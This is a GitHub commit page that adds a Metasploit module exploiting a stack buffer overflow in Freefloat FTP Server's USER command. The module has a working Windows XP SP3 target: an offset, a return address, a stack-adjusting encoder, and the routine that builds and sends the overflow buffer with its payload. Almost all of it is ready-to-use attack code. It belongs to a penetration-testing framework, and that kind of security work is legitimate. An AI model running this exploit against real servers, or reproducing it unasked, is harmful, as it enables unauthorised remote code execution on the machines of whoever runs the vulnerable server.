Skip to content

Commit eedeb37

Browse files
author
jvazquez-r7
committed
Landing rapid7#1731, @dougsko's freefloat ftp server bof exploit
2 parents c23cf47 + d64208a commit eedeb37

File tree

1 file changed

+78
-0
lines changed

1 file changed

+78
-0
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
Rank = LowRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Exploit::Remote::Ftp
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Free Float FTP Server USER Command Buffer Overflow',
19+
'Description' => %q{
20+
Freefloat FTP Server is prone to an overflow condition. It
21+
fails to properly sanitize user-supplied input resulting in a
22+
stack-based buffer overflow. With a specially crafted 'USER'
23+
command, a remote attacker can potentially have an unspecified
24+
impact.
25+
},
26+
'Platform' => 'win',
27+
'Author' =>
28+
[
29+
'D35m0nd142', # Original exploit
30+
'Doug Prostko <dougtko[at]gmail.com>' # MSF module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
[ 'OSVDB', '69621'],
36+
[ 'EDB', '23243']
37+
],
38+
'Privileged' => false,
39+
'Payload' =>
40+
{
41+
'Space' => 440,
42+
'DisableNops' => true,
43+
'BadChars' => "\x00\x0a\x0d",
44+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
45+
},
46+
'Targets' =>
47+
[
48+
[ 'Windows XP SP3',
49+
{
50+
'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
51+
'Offset' => 230
52+
}
53+
],
54+
],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Jun 12 2012'))
57+
end
58+
59+
def check
60+
connect
61+
disconnect
62+
if (banner =~ /FreeFloat/)
63+
return Exploit::CheckCode::Vulnerable
64+
else
65+
return Exploit::CheckCode::Safe
66+
end
67+
end
68+
69+
def exploit
70+
connect
71+
buf = rand_text(target['Offset'])
72+
buf << [ target['Ret'] ].pack('V')
73+
buf << make_nops(12)
74+
buf << payload.encoded
75+
send_user(buf)
76+
disconnect
77+
end
78+
end

0 commit comments

Comments
 (0)